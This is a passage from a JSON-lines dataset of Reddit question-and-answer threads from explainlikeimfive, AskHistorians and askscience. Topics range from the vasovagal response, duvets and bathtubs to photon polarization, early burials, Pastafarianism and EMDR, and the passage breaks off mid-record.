{"q_id": "1bf003", "title": "why it is so hard for us to view images of people breaking bones?", "selftext": "Why does it actually make us feel nauseous? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bf003/eli5_why_it_is_so_hard_for_us_to_view_images_of/", "answers": {"a_id": ["c9690tk", "c969ejj", "c96a6ps"], "score": [2, 2, 3], "text": ["It's hardly universal. I love watching medical procedures and broken bones and things like that.", "It has a lot to do with empathy. But another reason may be the vasovagal response. When a person is faced with a certain trigger (such as the sight of blood/injuries/gore) the body may initiate this reaction. Your heart rate drops and/or your blood pressure. In some cases enough to make you faint. In milder cases it may just cause nausea or dizziness.\n\nThe evolutionary purpose for this (if it has one at all) seems to be under debate.", "Nobody likes to be reminded of their fragility  &  mortality..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fsqhy7", "title": "AITA for being the sexiest love poet in Augustan Rome?", "selftext": "You may think that I lack the gravity,\n\nThe sober and somber sincerity\n\nOf our national wit-\n\nBut you have to admit\n\nVergil\u2019s dead, so you\u2019re stuck with me\n\n & #x200B;\n\nWhatever you heard, last you saw her\n\nI\u2019m a stranger to your granddaughter\n\nIf she says otherwise,\n\nI assure you she lies:\n\nI\u2019m a rogue, but never a plotter\n\n & #x200B;\n\nMy crime unwitnessed, the charge untrue\n\nNo period set to the sentence due-\n\nSince I\u2019m exiled\n\nTo the frosty wild\n\nThe asshole, Augustus, is you\u2026\n\n & #x200B;\n\nOutrage reduces me to prose. I am Publius Ovidius Naso (Ovid, in your uncouth tongue), widely and quite justly famed as the author of the *Metamorphoses* and other deathless poems. Yet despite my status as a national treasure, the great and gaudy Augustus has banished me to the bitter edge of our not-quite-boundless Empire.\n\nI can think of only two reasons why Augustus would deprive the Romans of their favorite and most gifted poet. First, artistic differences. Some years ago, I published the *Art of Love*, a winning satire on the mechanics of courtship. Perhaps our prudish princeps \u2013 ever a handmaid of conventional morality, and lately a font of laws prodding those otherwise inclined to wed \u2013 decided to look askance. Second, an\u2026indiscretion. I shall not now be so unwise as to name it \u2013 our noble emperor, after all, is still perfectly capable of having me killed \u2013 but I can say that I saw something untoward. Did I witness wayward Julia with one of her paramours? Did I involve myself in a faction promoting this or that prospective heir's claims to the imperial title? Maybe neither, maybe both.\n\nThe case can summarized succinctly. Did I corrupt the morals of Rome? Hardly. They were engrossingly deplorable already. Did I indulge in a little light treason? Perhaps\u2026but treason is such an ugly word. I have not granted you, dear readers, the wherewithal to know whether or wherefore I have erred. Yet in the forum you call the internet, as I understand, a want of evidence is no hindrance to impassioned judgement. So tell me, people of this strange republic reddit; tell me, o members of this select colloquy AskHistorians; tell me, with the grace of meter or in the ease of prose, AITA?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fsqhy7/aita_for_being_the_sexiest_love_poet_in_augustan/", "answers": {"a_id": ["fm2zk75", "fm31x35", "fm37yw5", "fm38px5", "fm38qvc", "fm38xui", "fm3aqre", "fm3h6na", "fm3i573", "fm3rpk5", "fm3xui6", "fm4i9qq", "fm4ji9e", "fm4le51", "fm56ucq"], "score": [139, 84, 8, 38, 25, 33, 57, 36, 13, 13, 9, 3, 8, 2, 2], "text": ["YTA \n\nThe Art of Love is a disgusting work of PORNOGRAPHY! You, Ovid, are corrupting the children and bastardizing the glory of Rome and our Emperor Augustus! You deserve to be transformed into a tree like half of the people in your damned poem!\n\nP.S have any of you heard of that Germanicus guy? What a fantastic general!\n\n-Sillius Soddus", "NTA, for sure.  Have you tried asking the legaladvice sub for help getting your exile lifted?  The ghost of Cicero sometimes posts there.  Hear he knows a bit about exile law.", "INFO\n\nWhy does Ovid sound like Chuck D?", "NTA\n\nAugustus is clearly a prude, even though some of your stuff is spicy indeed. If you were, uh, indiscreet with his daughter, well, he's just a controlling father and this is a total overreaction. If you just witnessed something, even worse.\n\nTo me it seems clear that Augustus is clearly jealous of both your skills with the tongue and the word, so he had you removed from Rome to punish and silence you. \n\nThat being said, I read up on your case, and I've heard that the Senate of Rome is actually preparing a pardon which should come through any day now.", "NTA for dropping that sick poem in the beginning", "NTA, but dude. Check your attitude. \"Vergil\u2019s dead, so you\u2019re stuck with me\"??? NOT the way to make friends, just SAYING.", "INFO: Is it true that you are learning the language of the barbarians you live close to?\n\nIf so, YTA.", "A poet you can't compare or\n\nLove's indecent standard bearer-\n\nAugustus sent you away,\n\nSo I guess it's YTA.\n\nA high price to pay for *carmen et error.*", "YTA. Your attitude is just awful. No wonder Augustus banished you. Virgil would have kept it clean for the children.", "YTA. Romes Imperator viewed you as a deserving banishment so you must be an asshole. For how could he who is father to our nation, misjudge a person so harshly.", "NTA Ars amatoria is hilarious. The Princeps have no sense of humor.", "NTA there is nothing wrong about writing the torrid affairs of mortals in poetic verse.", "YTA- Imagine some lowly scribbler thinking that he can understand the intricacies of statecraft.\n\nEven if you didn't plot treason. The mere fact that such a well known individual could be implicated in such a plot is grounds for exile. The fact that you got to stay within the borders of his/my glorious Empire is a mercy in itself.\n\nIMO You should maybe stop writing porn and pick up a legal text.", "As a Hellene i will  say that whenever our dear Emperor banishes Roman philosophers and Poets it warms my heart,He clearly knows that the greatest poets and Philosophers that grace this world are from Hellas,I will also have to that while your poem is beautiful your morals are not given that you seduced a granddaugther of the Great Augustus and when facing charges you denied everything -YTA                                                                                                                                        -  Aegeus of boeotia", "NAH. If Rome is full of three things, they are debauchery, conspiracy, and artichokes, and you know what they say about when you're in Rome..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "elmexh", "title": "what is the difference between a comforter and a duvet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/elmexh/eli5_what_is_the_difference_between_a_comforter/", "answers": {"a_id": ["fdiw5e1", "fdiw71h", "fdiwbr1"], "score": [3, 3, 3], "text": ["A comforter is a big blanket that has all the fluff on the inside and is sewn shut. A duvet is essentially a big pillow case which can be removed and washed more easily.", "A comforter is a padded blanket. A duvet is like a pillowcase for a comforter.", "A duvet is two pieces. An outer shell and has an inner layer which is typically harder to clean. \n\nA comforter is sewn to be one piece. \n\nA duvet is like a pillow case while the inner layer is the pillow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28oh11", "title": "how wavefront/custom lasik is different from older versions of lasik/lasek/prk, and why it is (or isn't) better.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28oh11/eli5_how_wavefrontcustom_lasik_is_different_from/", "answers": {"a_id": ["cicyaaj"], "score": [3], "text": ["It is better because it uses a superior system of measurement that takes more data into account.\n\nWhen your prescription is taken for standard LASIK/LASEK/PRK they are basically taking an average measurement for your entire eye.\n\nBut of course your eye is not a perfect shape with a smooth surface.  It's composed of organic tissues.  Some of them are out of position, some of them are not as transparent as others, etc. etc.\n\nThat's where Wavefront-Guided Custom LASIK/LASEK/PRK comes into play.  The Wavefront technology takes measurements from many different angles (I believe I was told something like 240 measurements).  This allows it to detect and adjust for tiny imperfections in parts of your eye, that could not be accounted for using traditional measurement technologies.\n\nI had Wavefront-guided PRK performed almost a year ago and let me tell you it is the single best decision I have ever made.  It is the best money I ever spent.  It was life-changing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31j72v", "title": "how are surfing competitions judged if surfers don't always get the same waves as each other?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31j72v/eli5_how_are_surfing_competitions_judged_if/", "answers": {"a_id": ["cq21k9x", "cq29a3n"], "score": [24, 3], "text": ["As a surfer, you have to pick the wave that best suits the tricks you want to perform. That's part of the skill, being able to read the wave. Just like how fishing competitions rely on the fishermen picking the best fish to keep, not just catching fish.", "There are also rules of priority that passes on to the other surfer when you take a wave. So like /u/snewzie said choosing the wave is part of the competition,trying to know if a better series of waves is coming and which wave to chose. During the 20/30min of a round, each surfer generally has the opportunity to ride the same type of waves as the other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1akxad", "title": "Archaeologists, what do we know about the earliest intentional burials?  Were there grave goods?  Is this as valid a place as any to say \"religious belief\" starts?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1akxad/archaeologists_what_do_we_know_about_the_earliest/", "answers": {"a_id": ["c8yxqqs"], "score": [3], "text": ["There's controversial claims of an intentional burial site at Sima de los Huesos in Spain dating back to 300-400K years ago. While the dating (which puts this before humans) isn't so much in doubt, the intentionality of the site is, since it is basically a bone pit. Less controversial are anatomically modern human burials at the Qafzeh site in Israel, which are dated more than 90K years ago, which would be the earliest intentional burials known. \n\nEven those are up for debate though, as the evidence is somewhat circumstantial, relying on position and closeness of bodies (such as a female and child together) as well as items found in association (like a boar mandible and deer antlers found \"clasped\" in the hands of other burials). That's simplification of the evidence, but it still goes to show that intentionality in Middle Paleolithic burials is a subject open to interpretation. This has lead some [to question a whole suite of very early burials](_URL_0_) as anything other than natural occurrences, while others have [written to disagree](_URL_1_), saying that those Middle Paleolithic burials fit within the context of later Upper Paleolithic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.freewebs.com/gargett/Gargett1999.pdf", "http://www.academia.edu/375134/Middle_and_Early_Upper_Paleolithic_Burials_and_the_Use_of_Chronotypology_in_Contemporary_Paleolithic_Research"]]}
{"q_id": "a0vhwx", "title": "Could a substance get so hot that it behaves relativistically?", "selftext": "If temperature is a measure of the kinetic energy of the particles in a substance and we can calculate the root-mean-square velocity of those particles, then hotter substances contain faster-moving particles. At sufficiently high speeds of constituent particles, could macroscopic objects show relativistic effects?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a0vhwx/could_a_substance_get_so_hot_that_it_behaves/", "answers": {"a_id": ["eaktyp2"], "score": [24], "text": ["Yes. A nonrelativsitic ideal gas and an ultrarelativistic ideal gas have different specific heat capacities, for example."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "g610a", "title": "How can anything (e.g./i.e. *light*) go through cycles when traveling the speed of light?", "selftext": "I was reading QED by Feynman and it was explaining how the phase of a particular photon is represented by a complex number that circles around the origin of the complex number plane (without actually talking about complex numbers, interestingly). To my weak knowledge, the photon is changing its state constantly.\n\nSo how is this reconciled with the time dilation of objects traveling at relativistic speeds? Anything traveling at the speed of light shouldn't be able to change at all, should it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g610a/how_can_anything_egie_light_go_through_cycles/", "answers": {"a_id": ["c1l5sdj", "c1l6n75", "c1l6r46"], "score": [26, 2, 3], "text": ["I'm not sure what part of the book you're referring to \u2014\u00a0I haven't read it in *years* so I'm sure I wouldn't remember without looking it up anyway. But a photon *doesn't* change as it propagates through a vacuum. But it *can* change as it propagates through a *material.* And it's possible for it to change in really interesting ways, too.\n\nHere's a contrived but relevant example. Imagine you have your hands on some material \u2014\u00a0like glass but not glass \u2014 that's transparent to light but that's anisotropic in an unusual way. Light that's polarized *parallel* to the orientation of the material passes through it unchanged, but light that's oriented *perpendicular* to the material comes out the other side with less energy than it went in with. A photon that's polarized parallel to the sample's orientation will come out with the same energy it had going in \u2014\u00a0call it *E*\u2081 \u2014\u00a0while a photon that's polarized perpendicular to the sample's orientation will come out with a different energy, call it *E*\u2082.\n\nIs the photon *changing* on its way through the material? No. What's actually happening, at a quantum-electrodynamics level, is that the photon is *interacting* with an electron. This causes the photon to cease to exist, and a new photon gets emitted. The energy of the new photon *may* be the same as the original photon, or it *may* be different, depending on whether it's polarized parallel or perpendicular to the material.\n\nBut we don't care about that right now. We're not interested, right now, in the individual particle-particle interactions that go on inside the material. There are countless billions of atoms of material for the photon to interact with, and that's just too much arithmetic. So instead, we're going to use old-school quantum mechanics and the Schrodinger equation.\n\nThe experiment will be this: Set up a plane polarizer. Then set up the second plane polarizer such that it's parallel to the first. With me so far? If the first polarizer is oriented up-and-down, the second should be up-and-down too. Now fill the space in between the polarizers with this special material, but set it up so that it's oriented *at a right angle* to your plane polarizers. Okay? Photons will either pass through the first polarizer or not. If they do, they'll propagate through the material. Then they'll either pass through the second polarizer or not. Polarizer-material-polarizer, all aligned to precisely the same axis. That's the experiment.\n\nThe question we want answered is, how many of the photons that make it through the *first* polarizer will make it through the *second?* In other words, will the angle of polarization of the photon that goes *into* the material be different from the angle of polarization of the photon that comes *out* of the material on the other side?\n\nWe know that if we just send unprepared photons at the first polarizer, the expectation value for the number that make it through is half of the total number of photons we send into the apparatus; each photon has a straight-up 50/50 chance of making it through, so on average half of them will, as long as we repeat the experiment with a sufficiently large number of photons.\n\nWe also know that if there weren't anything between the two polarizers \u2014\u00a0pretend it's an idealized vacuum \u2014\u00a0then the number of photons that make it through the *second* polarizer after passing though the *first* will be all of them. If the photon gets through the first polarizer, then it's correctly polarized to get through the second. (That's just a less mathematical way of saying that the inner product of a state vector with its dual is one: a photon that's definitely in some state is *definitely* in that state, is all it means. Tautology, but it never hurts to be explicit about these things.)\n\nBut what will happen if we put our sample of material in the middle? What is the probability that, on a single iteration of the experiment, the photon that comes out will have the same angle of polarization as the photon that went in? If the material doesn't change the angle of polarization at all, then we'd expect to get half the number of photons out the other side as we put into the experiment: the photons have a 50/50 chance of making it through the first polarizer and a 100-percent chance of making it through the second, so half the photons get through. On the other hand, if the material has the effect of randomizing the polarization, then we'd expect to see a *quarter* of the number of photons come out the other side. Half would get absorbed or scattered by the first polarizer, and half of the rest would get absorbed or scattered by the second, so in that case the total number would be reduced to one-fourth.\n\nQuestion is, which of those will it be?\n\nIt turns out *neither.* Not exactly. And the really neat thing is that you don't even have to do the experiment to see that. You can do it all with maths.\n\nI'm not going to work through all the equations here \u2014\u00a0I haven't the foggiest idea how I'd render all the equations in a form that you could read. But the basic methodology is this: Fix a Hamiltonian *H* for the system using the two possible energies we talked about earlier, *E*\u2081 and *E*\u2082, where *E*\u2081 is the 0-0 component, *E*\u2082 is the 1-1 component and the off-diagonal components are both zero. That gives you a Hermitian operator with eigenvalues *E*\u2081 and *E*\u2082 corresponding to the eigenvectors representing polarization parallel and perpendicular to the orientation of the material.\n\nThen just make up a state for the photon. Call the state *\u03a8* and give it components *\u03b1* and *\u03b2,* just to give them names. This represents the indefinite state of plane polarization of the photon before it enters the apparatus.\n\nThen just plug those into the Schrodinger equation: *H\u03a8* = *i\u210f* *\u2202\u03a8*/*\u2202t*. A little algebra gives you two differential equations: *i\u210f* *\u2202\u03b1/\u2202t* = *E*\u2081*\u03b1* and *i\u210f* *\u2202\u03b2/\u2202t* = *E*\u2082*\u03b2.*\n\nAny function whose derivative is proportional to itself is an exponential function, so you end up with one equation for *\u03b1* that includes an *e* to the *\u2013i* *E*\u2081 *t* term, and one equation for *\u03b2* that includes an *e* to the *\u2013i* *E*\u2082 *t* term.\n\nPut those put those components back into *\u03a8,* then construct a totally arbitrary polarization state vector with components that are both the square root of two, representing equal probability. Take the inner product of the new state vector with *\u03a8,* and after some algebra that's no more challenging than a single pain-in-the-bottom binomial, you end up with a simple equation for the probability of finding a photon to have a given plane polarization when it reaches the *second* polarizer.\n\nAnd it turns out the answer is neither one nor one-half. It's actually a function of *the difference between E*\u2081* and E*\u2082! What's more, it's a function of the *cosine* of that difference times *t!*\n\nOkay, now what the hell does that mean? It means as the photon propagates through the material, the *probability* of finding it to be in a particular state of polarization *oscillates* at a frequency that's proportional to the difference in energy between the parallel and antiparallel interactions with the material. The bigger the difference, the faster the oscillation.\n\nOf course, the opposite is also true: If *E*\u2081 and *E*\u2082 are equal, then the difference between them is zero, and the cosine of zero is just one, so all the terms in the probability amplitude that came from the Hamiltonian drop out, and you're right back to the same probability amplitude equation you'd have if you were just considering the plane polarization of a photon propagating through a vacuum. In other words, it wouldn't depend on *anything,* and wouldn't ever change.\n\nThis is a classic example of constructive and destructive interference within the wavefunction itself. The photon interacts with the material as it propagates through \u2014\u00a0which, again, we could explore with quantum electrodynamics if we wanted to, but *we do not want to* because we hate maths \u2014\u00a0and as it does, its *wavefunction* oscillates, such that at any time the *probability* of finding the photon to have such-and-such a polarization state is not constant. It varies depending on how long you wait to examine the photon \u2014\u00a0how far the second polarizer is from the first, in other words \u2014\u00a0and on the magnitude of the difference between the the energy of a photon that's polarized parallel to the material it's propagating through and the energy of a photon that's polarized perpendicular.\n\nIf you imagine a little dot with an arrow attached to it, and as it flies along the arrow is spinning in a circle, then \u2026\u00a0well, you're wrong. That's not at all how it really is. But it's how the *wavefunction* behaves. And the wavefunction is the mathematical tool that tells you what to *expect* from a large number of repetitions of your experiment.\n\nIn this case, if you know what the difference between the parallel and perpendicular energies of the material, and you know the speed of light of the material, then you can calculate the *expectation value* for your experiment to a high degree of precision. That is, you can work through the maths and know that if you send a billion photons through a sample material such-and-so many units of length long with such-and-such properties, you can *expect* to get 400 million photons out the other end \u2026\u00a0or whatever.\n\nSo it's not that the photon changes; photons are static, and undergo no change between the instant they're emitted and the instant they're absorbed or scattered. It's that as a photon propagates *through a medium* that has a non-identity Hamiltonian, the *wavefunction* can change, which means the state in which you find the photon at the other end of the system is not guaranteed to be the same as the state it was in when it entered the system \u2014\u00a0and in fact it probably won't be, and the precise way it probably won't be is a function of the dynamics of the system you're interested in.\n\nIf that makes any sense.", "I know this is quite tangential, but I'm taking your \"e.g./i.e.\" as a question in itself, so [for future reference](_URL_0_):\n\ne.g. is the initialism of *exempli gratia*, Latin for \"for example.\" What follows is a brief representative sample of what you're referring to.\n\ni.e. is the initialism of *id est*, Latin for \"that is.\" What follows is either an exhaustive list or a re-wording of what you just said.\n\nThus you wanted to use \"e.g.\" because it is one example of the \"anything\" you were referring to.\n\nI now return you to hard science, already in progress.", "Saying that the state of the photon changes with time hides a lot of whats really happening.\n\nLight is oscillating electric and magnetic fields, at right angles to each other. By oscillating, we of course mean that the electric field is changing with time in a periodic manner. Saying that light is composed of photons is purely a measure of how strong the electric field is. A bright beam of light corresponds to an oscillating electric field with a high amplitude and a weak one to a field with low amplitude. This is equivalent to saying the beam is composed of a larger or smaller number of photons. The way the electric field moves through space and how it changes with time follows a wave equation, with the speed of the wave being 3 x 10^8 m/s. So the 'thing' thats moving at the speed of light is the spatial variation of a field, and not a material object per se.\n\nThe propagating electric/magnetic field interacts with material objects as if it were composed of dimensionless elementary particles of zero rest mass i.e. photons. Having zero rest mass and being dimensionless elementary particles lets photons and neutrinos propagate at the speed of light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://ancienthistory.about.com/od/abbreviations/f/ievseg.htm"], []]}
{"q_id": "28epnv", "title": "why is everything bigger in america except the bathtubs?", "selftext": "As an American visiting the UK, one notices everything is just a bit--sometimes quite a bit--smaller. Coke cans, roads, cars, houses, all hit with a shrink ray. Makes sense, since there's less room to work with over here.\n\nThat is, until you get to the bathroom part of the house.\n\nThere you may luxuriate in the bathtub, which normally is long enough for average Britishers to submerge their entire bodies in water ***without having to scrunch their legs up like every American has to do!***\n\nOn noticing this, I feel I've been cheated. It's not like we don't have the space for these huge tubs in our houses. So ELI5: why did North American builders make this pact with the devil to only install small tubs in houses? Why, oh why?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28epnv/eli5_why_is_everything_bigger_in_america_except/", "answers": {"a_id": ["cia7w96", "cia89b9", "cia8hou", "cia8lsu", "cia9aiv", "ciaddun", "ciadv4f", "ciadxcy", "ciadygn", "ciaf2mp", "ciag41f", "ciany7c"], "score": [7, 3, 2, 86, 2, 6, 35, 4, 10, 6, 3, 2], "text": ["well, it depends on the overall size of the house.  a bigger house would have a bigger bathtub.  we want to make the most efficient use of the house, and i guess bathing is just not as popular as showering.", "I guess baths just aren't as popular here. ", "Most American adults bathe by showering rather than taking a bath.", "Most American adults don't take daily baths, so the bathtub is mostly there for kids and so that the realtors and assessors can check that box saying they have a tub to raise the value of the home.  Bigger tub = more floorspace taken up = less room for other activities.", "They primarily take showers. And baths are scary _URL_0_", "Wait: who calls them \"Britishers\"?", "I sold plumbing fixtures for a year and a half and experienced two answers to this question.  First, like everyone has said, Americans just don't take baths.  Biggest complaint I heard was the time factor - here in California, you're limited to a flow of 3.5 gallons per minute on tub faucets, which means it can take ten minutes or more just to fill a tub.  (Of course, you can buy specialized tub faucets with much higher flow rates, but they cost more and people generally don't know about them.  It's not illegal to buy, sell or install them, but it can hold up an inspection before selling a house, for example.)\n\nThe second is that bigger tubs are [expensive!](_URL_0_)  Those are actually the lower end of the spectrum, too.  A favorite of mine that I wish I could find a link for is an 84\" slipper-style hand-beaten copper tub for $15k.  But the long and the short of it is, if you want something other than the standard tiny fiberglass tub (cost: $350-$700) be prepared to spend quite a bit of money.  The good news is that the price of larger acrylic tubs is starting to come down, but they're still way more than anything made of fiberglass. \n\nI'll also wager that those bathtubs you luxuriate in are made of cast iron and weigh 300 pounds.  So, put time, cost and the fact that you have to practically crane the thing in there together and you end up with cold knees and an unsatisfying bathing experience.  ", "A lot of houses only have 40 gallon hot water tanks which isn't enough for a large bathtub. When I had one it would barely fill my jaquizzl tub, and it is a 5 foot tub. I now have a tankless and it works a lot better. ", "We like big showers, rather than baths, because it's easier to have orgies in the shower.", "As a 6' 2\" person who would love to take a nice relaxing bubble bath every now and then, I really don't know.\n\nCramped tiny-person showers FTL. :(", "An idea for tall people who like baths:\n\nAs an adult who like to take baths, and is over 6 foot tall, I generally fill the tub up enough to cover my chest when scrunched up with my knees in the air, close the curtain and aim the shower head where my knees will be and turn it on. That way all of me is warm, and the hot water from the shower keeps the rest of the water warm.", "Because we don't like to bathe in our own soup."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=YpzKMr4fJwg"], [], ["http://www.overstock.com/Home-Garden/Tubs/946/cat.html"], [], [], [], [], []]}
{"q_id": "24zy5v", "title": "Let's say we have a person submerged in a large tank of water, and the tank is traveling a brisk 30 mph or so. Suddenly, it collides with a stationary wall. What happens to the diver?", "selftext": "Would it hurt? Cause severe injury? Would the water cushion the diver better or worse than say, an airbag? People are about as dense as water is, a little less so, so would the diver actually be pushed *away* from the wall he just crashed into? What if the tank freefell onto the ground instead?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24zy5v/lets_say_we_have_a_person_submerged_in_a_large/", "answers": {"a_id": ["chccikv", "chccogo", "chcd6ht", "chcdgh2", "chcfpdo"], "score": [8, 22, 2, 2, 51], "text": ["Too many factors. Assume the tank is perfectly inflexible and holds no air. This is a best case scenario. The force of deceleration would be distributed evenly and the diver would stop with the water. If there is air in the tank or the vessel flexes, then the is a pressure wave that hits the diver and it would exert the pressure of the wave over the surface area of the part of the diver experiencing the wave. This is why our brain is encased in fluid in a hard shell.  It keeps the brain from contacting the shell, causing damage. Woodpeckers and mountain rams have more fluid because of their lifestyle. (Beating their head against things)", "When a closed vessel of fluid experiences acceleration -- and this can either be actual acceleration, or gravity -- a pressure gradient develops.  Just as there is more pressure at the bottom of a tank sitting on the ground, there will be more pressure on the side of the tank you're speaking of that hits something.  The gradient is proportional to the acceleration and the density of the liquid.\n\nIf you had a water balloon floating in such a tank, nothing would happen -- it's the same stuff inside and outside, so the pressure gradient is going to be the same everywhere.\n\nHumans are almost, but not quite, equivalent to water balloons.  While your body's average density is the same as water, if you're neutrally buoyantly floating, there are still some parts that are more dense and some parts that are less dense.\n\nEssentially, every part of your body that is not exactly as dense as water will experience an acceleration that is not offset by the pressure gradient, either the same as the direction of the acceleration on the tank, in the case of denser body parts, or in the opposite direction, for less dense body parts.\n\nSince your body is all connected together, depending on the severity of the impact, this may or may not be a big deal.  The air in your lungs, for example, will be forced toward the opposite end of the impact, just as when you go deeper with a snorkel it is harder and harder to hold breath.  Your brain is probably denser than the stuff it's floating in, and you might end up with a concussion.  I'm afraid I know physics, but not anatomy... so maybe some kind of doctor can weigh in on that bit.", "Water has weight, and therefore momentum. If coming to a sudden stop, it, and the person, will continue moving. Given that the large tank of water will not burst, there will be an increase in pressure at the front of the tank, and a decrease in pressure at the back. The water (and the person) will keep moving until an equilibrium has been reached. Given that the water is less solid that the person, yet have nearly the same density, we can assume that the person would move forward a bit before sloshing back and forth.", "Whether the container is open or closed as the tank stops, you'd have the water from the back of the tank with momentum pushing into the suddenly stopped water in the front. When you have an open container and accelerate it, you get a wave and splashing (energy in the water forcing it upward against gravity) up in the front. In a closed container, you'd still have the wave of energy but because it can't move upward it'd be a pressure wave rather than an elevation wave.\n\nThe [Bernoulli Principle](_URL_0_) is the relationship between the energy in velocity, elevation, and pressure of a fluid. From that you've got v^2 / 2 = P / density. 30 mph is 13.4 m/s. (13.4^2 )/2  is 89.8. Density of water is 1000, hence P = 89,800 Pascal. Atmospheric pressure is 100,000 Pa so the water in front would easily reach a peak pressure of nearly twice atmospheric instantly. Incidentally, the other term is gravity~elevation. 89.8 /9.81 gives 9.15 m. So as a tank of water stops from 30 mph, you're either going to get a 9 m tall splash or nearly an additional atmosphere of pressure.\n\nAs I think about it more, you'd probably get something similar to a [water hammer](_URL_1_) situation which typically happens in pipes when the fluid abruptly stops. The equation there is P = density * vel * Length / time. If the tank is 5 m long and it stops at 10 g it'd take 0.14 s, you'd have a pressure of (1000 * 13.4 * 5 / 0.14) = 478,500 Pa, nearly 5 atm. That's a bit more than Bernouilli and probably more relevant. It'd probably hurt the diver's ears at the least. The amount of energy in even a relatively loud sound wave is minute compared to the amount of energy that'd be involved here.", "Here's some actual data (from J Aviat Med. 1958 Jun;29(6):433-7. Protection against acceleration forces in animals by immersion in water. MARGARIA R, GUALTIEROTTI T, SPINELLI D.):\n\n* 8 out of 10 rats survived a brief acceleration of 1000g while submerged in water, while nearly 100% died during a brief acceleration of 100g without water.\n* 80% of frogs and fish subjected to 150g for 1 minute lost equilibrium due to detachment of the otolith organ.\n* Fish died after 24 hours of either 150g or 3000g (the paper is vague) due to an inability to feed.\n* Erythrocytes were found concentrated in the \"lower\" half of animals after centrifugation (even live ones).\n* As for using breathable liquids: rat fetuses were able to withstand brief 10,000g accelerations and develop normally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Bernoulli%27s_principle", "http://en.wikipedia.org/wiki/Water_hammer"], []]}
{"q_id": "4h3znm", "title": "the religion of the flying spaghetti monster", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4h3znm/eli5_the_religion_of_the_flying_spaghetti_monster/", "answers": {"a_id": ["d2n70xz", "d2n75ip", "d2n809g", "d2n8d0z", "d2nags6", "d2nrpg5"], "score": [19, 39, 30, 40, 15, 2], "text": ["It's a satire religion that atheists use to poke fun of other religions... \"how do you know God isn't a flying spaghetti monster in the sky?\"", "Pastafarianism was developed initially because religious teachings were being introduced as an alternative theory in science classes.\n\nTo anyone with a brain, that's messed up. \n\nScience: Snakes evolved from lizards.\nReligion: God cut their limbs off because Sneks r bad.\n\n\nPastafarianism teaches us that the FSM created the world after a booze-fueled bender, which explains why the world is imperfect. (Makes just as much sense as any other creation myths, without the whole 'if god is omnipotent why does he allow evil/imperfect' stuff.)\n\nFun fact: Pastafarian Heaven = Booze volcano + Strippers. \nPastafarian Hell = Stale Booze + Strippers with STDs.", "It's meant to ridicule/criticize mainstream religion. \n\nBasically, pastafarians are taking the piss out of other religions by being an absurd, over-the-top caricature of other religions, and yet still acting at least some of the time as though they're taking it seriously.\n\nIt's sort of like how when you want to mock someone for having a dumb idea and you talk them up and call them brilliant in as sincerely as you can manage, while winking and nudging to your friends.", "Schools were trying to teach creationism alongside actual science.  So some guy made up a religion called Pastafarianism that basically had it's own ridiculous theories on how the world came to be.  He posited that if you were going to teach creationism alongside actual science, you should be forced to teach every type of religious genesis tale, including Pastafarianism. ", "In January 2005, Kansas school board permits teaching creationism, this causes Bobby Henderson to write an open letter to the board proposing that we were all ruled by a Flying Spaghetti Monster. \n\nThe FSM (flying spaghetti monster) found its way onto the Internet and became a parody of religion. It has pressed for religious rights and secularism, for example, in some parts of the world a colander is classed as religious headwear and can be worn in passport photos etc.\n", "Essentially that's all an argument saying replace the word \"god\" which has such a strong connotation, with the word spaghetti monster\n\"The spaghetti monster loves you\"\n\"Spaghetti monster loves us all\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "aty4b5", "title": "how does emdr (eye movement desensitization and reprocessing) therapy work?", "selftext": "How does switching sides of your brain help with ptsd?\n\n\nEdit: Wow, thank you all for the responses this therapy is my next step in some things and your responses help with the anxiety on the subject.\n\nI'll be responding more in the coming day or two, to be honest wrote this before starting the work week and I wasnt expecting this to blow up. \n\n\nQuestions I have as well off the top of my head.\n\n1. Is anxiety during and /or euphoria after common? \n2. Which type of EMDR (lights, sound,touch) shows better promise? \n3. Is this a type of therapy where if your close minded to it itll be less effective?\n\nAnd thank you kind soul for silver. I'm glad if I get any coinage it's on a post that hopefully helps others as much as its helping me to read it.\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aty4b5/eli5_how_does_emdr_eye_movement_desensitization/", "answers": {"a_id": ["eh48ocy", "eh49cn4", "eh49jey", "eh4cerr", "eh4csr4", "eh4d5bb", "eh4dh49", "eh4ef62", "eh4g2tj", "eh4gs4f", "eh4gswp", "eh4hfuy", "eh4hogq", "eh4ikfg", "eh4iq6q", "eh4llb2", "eh4m7al", "eh4mq7e", "eh4n033", "eh4pgtn", "eh4pk0n", "eh4ty8t", "eh4y1fw", "eh4zjot", "eh50qhb", "eh519nz", 